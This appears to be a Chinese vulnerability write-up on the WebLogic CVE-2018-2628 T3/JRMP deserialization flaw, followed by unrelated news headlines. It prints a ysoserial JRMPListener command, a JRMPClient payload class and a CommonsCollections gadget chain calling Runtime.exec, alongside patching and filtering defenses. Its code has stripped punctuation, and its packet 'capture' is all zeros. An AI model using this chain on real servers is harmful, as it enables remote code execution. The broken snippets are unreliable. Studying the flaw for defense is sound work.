CVE-2018-2628 漏洞原理剖析:T3协议、JRMP与Java反序列化攻击链详解 CVE-2018-2628 漏洞深度解析T3协议、JRMP与Java反序列化攻击链1. 漏洞背景与影响范围2018年4月Oracle官方发布安全公告修复了WebLogic Server WLS核心组件中的高危反序列化漏洞CVE-2018-2628。该漏洞通过T3协议触发允许攻击者在未授权情况下远程执行任意命令直接影响以下版本Weblogic 10.3.6.0Weblogic 12.1.3.0Weblogic 12.2.1.2Weblogic 12.2.1.3漏洞本质是攻击者通过构造恶意序列化对象绕过WebLogic的黑名单限制利用RMI机制触发反序列化操作最终实现远程代码执行。由于T3协议在WebLogic控制台端口默认7001上默认开启使得该漏洞具有极高的可利用性。2. 核心技术组件解析2.1 T3协议工作机制T3Typed Three-Tier是WebLogic私有协议用于服务器间通信和Java客户端交互。其核心特点包括二进制协议基于TCP/IP专为WebLogic环境优化多路复用单个连接可承载多个逻辑数据流对象传输原生支持Java对象序列化传输协议栈位置| 应用层 | T3协议 | |--------|--------| | 传输层 | JRMP | | 网络层 | TCP/IP |关键字段分析Wireshark捕获示例0000 02 ac 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................2.2 JRMP协议原理JRMPJava Remote Method Protocol是Java RMI的底层传输协议具有以下特征专为Java设计仅支持Java-to-Java的远程调用序列化传输所有方法调用和返回数据都通过对象序列化传输动态类加载支持远程加载未知类典型JRMP交互流程客户端查找远程对象通过Registry服务端返回远程对象Stub客户端通过Stub发起方法调用服务端执行方法并返回结果2.3 Java反序列化机制Java反序列化漏洞的核心在于ObjectInputStream.readObject()方法。当WebLogic处理T3协议数据时会反序列化接收到的对象关键调用栈如下ObjectInputStream.readObject() - readObject0() - readOrdinaryObject() - readClassDesc() - resolveClass()攻击者通过精心构造的序列化对象可以触发目标类中的危险方法如Runtime.exec()。WebLogic虽然实现了黑名单过滤但存在被绕过的可能。3. 漏洞攻击链剖析3.1 完整攻击流程图------------------- ------------------- ------------------- | 攻击者 | | 漏洞WebLogic | | JRMP Server | ------------------- ------------------- ------------------- | | | | 1. 发送恶意T3请求 | | |------------------------| | | | | | | 2. 触发反序列化 | | |---- | | | | 3. 连接JRMP Server| | |--- | | |-----------------------| | | | | | 4. 加载恶意类 | | |-----------------------| | | | | | 5. 执行任意命令 | | |---- | | | | | | |--- |3.2 ysoserial工具链分析ysoserial中的JRMPClient利用链工作流程攻击者启动JRMP监听服务java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 command生成恶意序列化对象public class JRMPClient extends PayloadRunner implements ObjectPayloadRegistry { public Registry getObject(String command) throws Exception { ObjID id new ObjID(new Random().nextInt()); TCPEndpoint te new TCPEndpoint(host, port); UnicastRef ref new UnicastRef(new LiveRef(id, te, false)); return ref; } }WebLogic反序列化时触发UnicastRef.readExternal()建立到攻击者JRMP服务的连接JRMP服务返回包含恶意代码的RemoteObjectInvocationHandler3.3 CommonsCollections利用链典型的Gadget Chain构造ObjectInputStream.readObject() - AnnotationInvocationHandler.readObject() - Map(Proxy).entrySet() - AnnotationInvocationHandler.invoke() - LazyMap.get() - ChainedTransformer.transform() - InvokerTransformer.transform() - Runtime.exec()关键Transformer配置示例Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) };4. 防御方案与缓解措施4.1 官方修复方案Oracle通过以下方式修复该漏洞增强反序列化过滤器扩展黑名单包含更多危险类限制T3协议的访问权限补丁安装步骤登录Oracle支持站点下载补丁执行OPatch工具应用更新opatch apply4.2 临时缓解措施对于无法立即升级的系统可采用T3协议访问控制!-- weblogic.xml 配置示例 -- security-configuration enforce-valid-t3-protocoltrue/enforce-valid-t3-protocol /security-configuration网络层防护# iptables规则示例 iptables -A INPUT -p tcp --dport 7001 -m connlimit --connlimit-above 10 -j DROP4.3 深度防御建议JEP290防护启用Java反序列化过滤器System.setProperty(jdk.serialFilter, !org.apache.commons.collections.*);RMI加固配置JVM参数限制远程类加载-Djava.rmi.server.useCodebaseOnlytrue -Djava.security.manager运行时监控部署RASP解决方案检测异常反序列化行为5. 漏洞研究延伸5.1 相关CVE关联分析CVE-2017-3248早期WebLogic JRMP反序列化漏洞CVE-2018-2893CVE-2018-2628的绕过变种CVE-2020-2555后续WebLogic反序列化漏洞5.2 自动化检测方案使用Nmap脚本检测漏洞存在nmap -p 7001 --script weblogic-t3-info target自定义检测脚本关键逻辑def check_vulnerability(host, port): payload generate_serialized_payload() response send_t3_request(host, port, payload) return bJRMP in response5.3 研究工具推荐反序列化分析工具SerializationDumperBurp Java Deserialization Scanner漏洞利用框架ysoserialmarshalsec流量分析工具Wireshark with T3 dissectorJava RMI Monitor

相关新闻

最新新闻

Anthropic发现Claude的J空间:类似人类心智工作空间,助力监测AI行为

Anthropic发现Claude的J空间:类似人类心智工作空间,助力监测AI行为

新技术揭示Claude的“工作空间”J空间当人们阅读一句话时,大脑部分神经回路在调整姿势、控制呼吸并转化文字,多数处理过程难以感知,只有部分大脑活动能被意识到,如浮现的图像或购物计划。神经科学家和哲学家将这类可被意识访问的大…

2026/7/8 13:39:49
拯救者 R9000P/R7000P 更新独显驱动开机黑屏?官方完整修复方案

拯救者 R9000P/R7000P 更新独显驱动开机黑屏?官方完整修复方案

很多联想拯救者 R9000P、R7000P(ARH7H)用户通过电脑管家或官网升级 NVIDIA 52799 版本独显驱动后,会遭遇严重开机故障:切到 Discrete 独显模式重启直接黑屏,屏幕无任何画面,只能强制关机反复重试。不少玩家…

2026/7/8 13:39:49
物联网设备低功耗优化方案与MKV46F微控制器应用

物联网设备低功耗优化方案与MKV46F微控制器应用

1. 项目背景与核心挑战在物联网设备井喷式发展的今天,初级电池(不可充电电池)供电设备的续航问题日益凸显。以LoRaWAN水表为例,行业标准要求10年免维护,但传统方案中电池实际寿命往往不足7年。这个矛盾在以下场景尤为突…

2026/7/8 13:39:49
STM32F767ZI与CMT-8540S-SMT音频系统开发指南

STM32F767ZI与CMT-8540S-SMT音频系统开发指南

1. 项目背景与核心组件选型解析在智能硬件开发领域,为项目添加高质量的互动声音元素已经成为提升用户体验的关键手段。STM32F767ZI作为STMicroelectronics推出的高性能微控制器,搭配CMT-8540S-SMT数字音频模块,构成了一个既专业又灵活的音频解…

2026/7/8 13:39:49
Windows系统文件CloudRecoveryDownloadTool.dll丢失找不到问题解决

Windows系统文件CloudRecoveryDownloadTool.dll丢失找不到问题解决

在使用电脑系统时经常会出现丢失找不到某些文件的情况,由于很多常用软件都是采用 Microsoft Visual Studio 编写的,所以这类软件的运行需要依赖微软Visual C运行库,比如像 QQ、迅雷、Adobe 软件等等,如果没有安装VC运行库或者安装…

2026/7/8 13:39:49
.NET热门ORM真实的性能测试总结

.NET热门ORM真实的性能测试总结

上次对收集到的ORM作了详细的测试,并整理成了测试项目,下面针对测试结果,详细剖析 测试环境项目说明测试框架BenchmarkDotNet测试数据库SQLite(单机性能优,波动较小).NET 版本.NET 6.0测试硬件Intel Core i…

2026/7/8 13:34:48

月新闻